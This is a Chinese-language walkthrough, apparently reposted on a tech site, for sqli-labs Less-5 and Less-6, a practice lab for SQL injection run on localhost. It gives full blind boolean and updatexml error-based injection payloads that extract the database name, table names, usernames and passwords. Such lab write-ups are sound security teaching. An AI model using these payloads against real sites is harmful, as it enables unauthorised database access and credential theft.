| |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
-> 大数据 -> sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注 -> 正文阅读 |
|
[大数据]sqli-labs Less-5~6(sqli-labs闯关指南 5—6)--盲注 |
??????? 目录 ?何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 关于注入的基础知识可以参考此篇文章:SQL盲注的简单分析 - linuxsec - 博客园。 Less-5源码片段: 从源代码中可以看到,运行返回结果正确的时候只返回you are in....,不会返回数据库当中的信息了,所以我们不能利用上述less1-4的方法 。 说明把1'带入了数据库进行了查询,存在sql注入。? ?此处需要用报错注入。 方法1: ?1.判断数据库长度: 输入http://127.0.0.1/sqli/Less-5/?1' and length(database())=7--+时,报错: ?输入http://127.0.0.1/sqli/Less-5/?1' and length(database())=8--+时,返回正常: ?因此可以判断出数据库的长度为8. 2.判断数据库名: 需要从第一位开始猜: 输入http://127.0.0.1/sqli/Less-5/?1' and left(database(),1)>'a'--+时,返回正常: 输入http://127.0.0.1/sqli/Less-5/?1' and left(database(),1)<'z'--+时,返回正常:? ?当判断到s时,输入http://127.0.0.1/sqli/Less-5/?1' and left(database(),1)='s'--+时,返回正常: ?可以推测出数据库名的第一个字母为s; 然后用同样的方法猜第二位: 输入http://127.0.0.1/sqli/Less-5/?1' and left(database(),2)>'sa'--+时,返回正常: ?当输入http://127.0.0.1/sqli/Less-5/?1' and left(database(),2)='se'--+时,返回正常: ?可以判断出数据名的前两个字符是se,对于这种报错注入没有什么好的办法,只能慢慢的一次一次的尝试,或是使用二分法对其进行测试,最终测试出数据库名为:security 3.判断数据库中的表名: 输入http://127.0.0.1/sqli/Less-5/?1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit?a,1)b,1))>n--+ a是从0开始第几个表,b是为第几个字符,n是ASCII所对应的十进制数,利用这种方法可以判断出数据库中的所有表名,然后可以找到最有用的user表。 4.猜用户: 输入http://127.0.0.1/sqli/Less-5/?1'?and?ord(mid((select ifnull(cast(username as char),0x20)from?S. M?order by? id? limit?A,1),B,1))=N--+ 其中S?为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。 5.猜密码: 输入http://127.0.0.1/sqli/Less-5/?1'?and ord(mid((select ifnull(cast(username as char),0x20)from?S.Morder by id limit?A,1),B,1))=N?--+ 其中S?为数据库名;M为表名;A为第几个用户;B为第几个字符;N为ASCII码所对应的十进制数。 由此便可以猜解出所有的信息。 方法2 也可以通过直接报错来获取想要的信息: ????????报错注入的概念: ????????(3). 通过extractValue报错 and extractvalue(1, payload) 输出字符有长度限制,最长32位。 1.获取库名: http://127.0.0.1/sqli/Less-5/?1' union select updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ ?2.爆表名: http://127.0.0.1/sqli/Less-5/?1'?union select updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = 'security' limit 0,1),0x7e),1) --+ 3.爆用户名: http://127.0.0.1/sqli/Less-5/?1'?union select updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+ 4.爆密码: ?http://127.0.0.1/sqli/Less-5/?1'??union select updatexml(1,concat(0x7e,(select group_concat(password) from users),0x7e),1) --+ Less-6Less-6?和第5关一样 只不过将单引号换成了双引号,因此可以参考第五关。 |
|
|
上一篇文章 下一篇文章 查看所有文章 |
|
开发:
C++知识库
Java知识库
JavaScript
Python
PHP知识库
人工智能
区块链
大数据
移动开发
嵌入式
开发工具
数据结构与算法
开发测试
游戏开发
网络协议
系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程 数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁 |
360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 | -2024/11/24 11:56:05- |
|
网站联系: qq:121756557 email:121756557@qq.com IT数码 |